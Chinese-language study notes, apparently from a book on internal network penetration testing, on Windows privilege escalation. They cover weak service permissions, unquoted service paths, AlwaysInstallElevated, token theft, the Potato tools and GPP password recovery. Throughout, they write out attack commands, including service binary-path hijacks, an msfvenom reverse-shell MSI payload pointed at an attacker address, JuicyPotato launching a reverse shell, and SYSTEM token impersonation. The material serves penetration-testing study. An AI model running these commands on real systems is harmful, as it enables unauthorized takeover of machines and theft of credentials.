内网渗透系列主要是学习《内网渗透体系建设》的笔记,作为整理和记录。
系统内核漏洞提权
借助WES-NG查找可用的漏洞
WES-NG(Windows Exploit Suggester - Next Generation)根据systeminfo命令执行的结果与操作系统版本进行对比,来搜索系统可利用的漏洞。
地址:https://github.com/bitsadmin/wesng
使用:
- 更新最新的漏洞数据库
1
python wes.py --update
- 在目标机执行systeminfo命令,保存起来
- 使用wes查找可用的漏洞
1
python wes.py systeminfo.txt --impact "Elevation of Privilege" --exploits-only
系统服务提权
通常情况下,用户安装的一些应用软件会在本地注册一些服务,并且大多数服务在计算机开机时以系统System权限启动。应用程序在注册服务时,会在一下路径中创建相应的注册表项
1 | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services |
Windows系统服务在操作系统启动时运行,并在后台调用其相应的二进制文件。由于大多数系统服务是以系统权限(SYSTEM)启动的,如果让服务启动时执行其他程序,该程序就可以随着服务的启动获得系统权限,这是利用系统服务提权的主要思路。
不安全的服务权限
ACL定义了安全对象的访问控制策略,用于规定哪些主体用户对其拥有访问权限和拥有什么样的权限。Windows的系统服务正是通过ACL来指定用户对其拥有权限。
假如目标主机的用户在配置服务时存在疏忽,使得低权限用户对高权限用户下运行的系统服务拥有更改服务配置的权限(SERVICE_CHANGE_CONFIG或SERVICE_ALL_ACCESS),就可以通过这个低权限用户直接修改服务启动时的二进制文件路径。
AccessChk工具可以枚举目标主机上存在低权限缺陷的系统服务。
低权限用户可以检查”Authenticated Users”组和”INTERACTIVE”组对系统服务的权限。
- 前者为经过身份验证的用户,包括系统中所有使用用户名、密码登录并通过身份验证的账户(不包括来宾用户);
- 后者为交互式用户组,包含系统中所有直接登录到计算机进行验证的用户。
- 默认情况下,这两个组为计算机本地“Users”组的成员。
1 | 枚举目标主机"Authenticated Users"组是否具有更改服务配置的权限 |
如果”Authenticated Users”组对某服务具有SERVICE_CHANGE_CONFIG权限,即可执行如下命令,将服务启动时执行的二进制文件替换为恶意文件。
1 | sc config XXXX binpath= "cmd.exe /k C:\Users\Public\hack.exe" |
如果当前用户对服务拥有SERVICE_STOP和SERVICR_START权限,意味着用户对服务具有重启权限
1 | sc stop XXX |
执行以下命令,对服务注册表中的ImagePath进行修改,指向恶意文件
1 | reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\XXXX /v ImagePath /t REG_EXPAND_SZ /d "cmd.exe /k C:\Users\public\xxxx.exe" |
检查当前用户对服务是否有重启权限
1 | accesschk.exe /accepteula -ucqv "Authenticated Users" RegSvc |
服务路径可控
如果目标主机上用户存在错误配置或操作,使得一个低权限用户对此服务调用的二进制文件或在其目录拥有写权限,那么可以直接替换该文件。
查看指定服务的二进制文件所在目录是否具有写入权限
1 | accesschk.exe /accepteula -quv "Authenticated Users" "C:\Program Files\XXXX" |
未引用的服务路径
未引用的服务路径(Unquoted Service Path)漏洞曾被称为可信任的服务路径(Trusted Service Path),利用了Windows文件路径解析的特性。当服务启动所执行的二进制文件的路径中包含空格且未有效包含在引号中时,就会导致该漏洞。
当服务的二进制文件完整路径中包含空格,且为有效的包含在引号中,那么对于该路径的每个空格,Windows会按照从左到右的顺序依次尝试并执行与空格前的名字相匹配的程序。例如,对于路径C:\Program Files\Sub Dir\Program Name.exe,系统依次寻找并执行以下程序:C:\Program.exe、C:\Program Files\Sub.exe、C:\Program Files\Sub Dir\Program.exe、C:\Program Files\Sub Dir\Program Name.exe
执行如下命令,枚举目标主机上所有漏洞系统服务:
1 | wmic service get DisplayName, PathName, StartMode |findstr /i /v "C:Windows\\" |findstr /i /v """ |
MSI安装策略提权
MSI安装策略提权是由于用户在配置MSI安装策略时,启用了“永远以高特权进行安装”(AlwaysInstallElevated,默认禁用),使得任何权限的用户都可以通过SYSTEM权限安装MSI程序。此时,可以在目标主机上安装一个预先制作的恶意MSI文件,以获得SYSTEM权限。
确认系统是否存在漏洞
在启用AlwaysInstallElevated
后,系统会自动在注册表的一下两处创建键值1
1 | HKEY_CURRENTUSER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated |
执行以下命令查看是否开启AlwaysInstallElevated
:
1 | reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated |
创建恶意MSI并安装
使用msf生成msi
1 | msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.100.10 lport=4444 -f msi -o eval.msi |
上传msi,执行
1 | msiexec /quiet /qu /i eval.msi |
访问令牌操纵
Windows的访问控制模型(Access Control Model)是Windows系统安全性的基础构件,由访问令牌(Access Token)和安全描述符(Secruity Description)两部分组成,二者分别由访问者和被访问者持有。通过比较访问令牌和安全描述符的内容,Windows可以对访问者是否拥有访问资源对象的能力进行判定。
访问令牌
访问令牌是描述进程或线程安全上下文的对象,包含与进程相关联的用户账户的标识和特权信息。系统使用访问访问令牌来控制用户可以访问的安全对象,并限制用户执行相关系统操作的能力。
当用户登录时,系统将对用户进行身份认证,如果认证成功,就会为用户创建一个访问令牌,包括登录过程中返回的SID以及由本地安全策略分配给用户和用户所属安全组的特权列表。此后,代表该用户执行的每个进程都有此访问令牌的副本,每当线程或进程与安全对象交互或尝试执行需要特权的系统任务,系统都会使用此访问令牌标识并确定关联的用户。
Windows的令牌可以分为主令牌(Primary Token)和模拟令牌(Impersonation Token)。主令牌与进程相关联,是由Windows内核创建并分配给进程的默认访问令牌,每个进程都有一个主令牌,描述了与当前进程相关联的用户账户的安全上下文。默认情况下,当进程的线程与安全对象交互时,系统将使用主令牌。此外,线程可以模拟客户端账户。模拟是指线程在安全上下文中执行的能力,并且该上下文不同于拥有该线程的进程的上下文。当线程模拟客户端时,模拟线程将同时具有主访问令牌和模拟令牌。
通常,通过操纵访问令牌,使正在运行的进程看起来是其他进程的子进程或属于其他用户所启动的进程。这常常使用内置的Windows API从指定的进程中复制访问令牌,并将得到的访问令牌用于现有进程或生成新进程,以达到权限提升并绕过访问控制的目的,这个过程被称为令牌窃取。
注意,令牌窃取只能在特权用户上下文中才能完成,因为通过令牌创建进程使用的CreateProcessWithTokenW
和CreateProcessAsUserA
两个Windows API分别要求用户必须拥有SeImpersonatePrivilege
和SeAssignPrimaryTokenPrivilege/SeIncreaseQuotaPrivilege
特权,而拥有这两个特权的用户一般为系统管理员、网络服务账户和系统服务账户。
常规令牌窃取操作
利用incognito.exe窃取令牌
列举当前主机上的所有访问令牌:
1 | incognito.exe list_tokens -u |
窃取NT AUTHORITY\SYSTEM
账户的访问令牌并创建进程
1 | incognito.exe execute -c "NT AUTHORITY\SYSTEM" whoami |
利用msf窃取令牌
msf框架内置了一个incognito模块
1 | load incognito # 加载模块 |
通过令牌获取TrustedInstaller权限
SYSTEM权限为系统最高权限,但是SYSTEM权限不能修改Windows系统文件,例如C:\Windows\servicing目录
从Windows Vista开始,系统内置了一个TrustedInstaller安全主体,拥有修改系统文件的权限,专门用于对系统进行维护、更新等操作。TrustedInstaller以一个账户组的形式出现,及NT SERVICE\TrustedInstaller
通常情况下,可以通过令牌窃取的方式获取系统TrustedInstaller权限。由于TrustedInstaller本身也是一个服务,当启动服务时,会运行TrustedInstaller.exe,该程序路径为C:\Windows\Servicing\TrustedInstaller.exe
,其拥有者为NT SERVICE\TrustedInstaller
。因此我们可以通过窃取TrustedInstaller.exe进程的令牌,以提升至TrustedInstaller权限。
先启动TrustedInstaller服务
1 | sc start TrustedInstaller |
记录服务的Pid,并执行steal_token <PID>
,窃取令牌
Potato家族提权
Potato家族提权,通过操纵访问令牌,可以将以获取的Windows服务账户提权至系统SYSTEM权限。
在实战场景中,若成功拿到了IIS等服务的Webshell,或者通过MSSQL的xp_cmdshell成功执行了系统命令,此时获取的服务账户拥有SeImpersonatePrivilege
和SeAssingPrimaryTokenPrivilege
特权,就可以通过Potato家族提权至SYSTEM权限。
Rotten Potato(烂土豆)
https://github.com/breenmachine/RottenPotatoNG
Rotten Potato提权大致可分为三步:
1、通过CoGetInstanceFromStorage API,将一个COM对象(BITS)加载到本地可控的端口(TCP6666),并诱骗BITS对象以NT AUTHORITY\SYSTEM
账户的身份向该账户发起NTLM认证
2、借助本地RPC135端口,对BITS对象的认证过程执行中间人攻击,同时调用相关API为NT AUTHORITY\SYSTEM
账户在本地生成一个访问令牌
3、通过NT AUTHORITY\SYSTEM
账户的令牌创建新进程,以获取SYSTEM权限。
利用步骤:
- 执行
whoami /priv
命令,查看当前账户的特权列表 - 加载incognito模块
1
load incognito
- 上线msf,向目标主机上传Rotten Potato,通过以下命令在meterpreter中运行
1
2execute -Hc -f rottenpotato.exe
-H 不可见、-c 通道化IO、-f 要执行的程序 - 查看可用的访问令牌、窃取
NT AUTHORITY\SYSTEM
账户的令牌1
impersonate_token "NT AUTHORITY\SYSTEM"
Juicy Potato
https://github.com/ohpe/juicy-potato
仅适用于Windows 10 version 1809 和Windows Server 2019之前版本的系统
Juicy Potato与Rotten Potato原理相同,在Rotten Potato的基础上进行了扩展,不再像Rotten Potato那样依赖一个meterpreter,并且可以自定义COM对象加载的端口,以及根据不同的系统版本更换可用的COM对象。
利用步骤:
上传juicyPotato程序,并根据操作系统版本选择一个可用的COM对象,记录其CLSID
https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md执行以下命令,运行JuicyPotato,将获取SYSTEM权限并运行指定的程序,这里执行的是msf的木马程序
1
2
3
4
5
6juicyPotato.exe -t * -p C:\Users\Public\reverse_tcp.exe -l 9889 -n 135 -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} 9889
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-n <port>: RPC server listen port (default 135)
-p <program>: program to launch
-l <port>: COM server listen port
-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
除了这种方式,还可以直接在webshell环境中利用
1 | juicyPotato.exe -a whoami |
PrintSpoofer(Pipe Potato)
https://github.com/itm4n/PrintSpoofer
PrintSpoofer主要利用了打印机组件路径检查中存在的一个Bug,使高权限的服务能连接到测试人员创建的命名管道,以获取高权限账户的令牌来创建新进程。
执行方法:
1 | PrintSpoofer.exe -i -c whoami |
Sweet potato
https://github.com/uknowsec/SweetPotato
sweet potato集成了RottenPotato、JulyPotato、RoguWinRm和PrintSpoofer的功能。
Bypass UAC
用户账户控制(User Account Control,UAC)是Windows采用的一种控制机制,可以阻止自动安装未经授权的应用并防止意外更改系统设置,有助于防止恶意软件损坏计算机。UAC使应用程序和任务始终在非管理员账户的安全上下文中运行,除非管理员专门授予管理员级别的权限。开启UAC后,每个需要使用管理员访问令牌的应用都必须征得用户同意。
UAC限制所有用户包括非RID 500的管理员用户
https://github.com/hfiref0x/UACME
用户凭据操作
枚举Unattended凭据
无人值守(Unattended)安装允许应用程序在不需要管理员关注下自动安装。无人值守安装的问题是会在系统中残留一些配置文件,其中可能包含本地管理员的用户名和密码。
常见的路径如下:
1 | c:\sysprep.inf |
msf中提供了post/windows/ghther/enum_unattend
模块,可以从Unattend配置文件中自动化检出密码。
获取组策略凭据
在Windows server 2008中引入了组策略首选行,允许网络管理员对指定计算机和用户配置特定的设置。
在大型的企业或组织的域环境中,网络管理员往往会通过下方组策略的方式对所有加入域的计算机的本地管理员进行批量修改。在新建一个组策略后,域控制器会自动在SYSVOL共享目录中生成一个XML文件,该文件保存了组策略更新后的密码。SYSVOl是安装活动目录时创建的一个用于存储公共文件服务器副本的共享文件夹,主要存放登录脚本、组策略数据以及其他域控制器需要的域信息等,并在所有经过身份认证的域用户或者域信任用户范围内共享。
通过net share
可以看到这个SYSVOl目录。
在SYSVOL目录中,有一个Groups.xml文件,其中的cpassword字段保存了经过AES256算法加密后的密码,但是这个加密私钥在2012年被微软公开了。因此任意经过认证的用户都可以读取保存在xml文件的密码。
msf中内置了post/windows/gather/credentials/gpp
模块,可以自动化搜索位于SYSVOL共享目录的XML,并从中解出密码。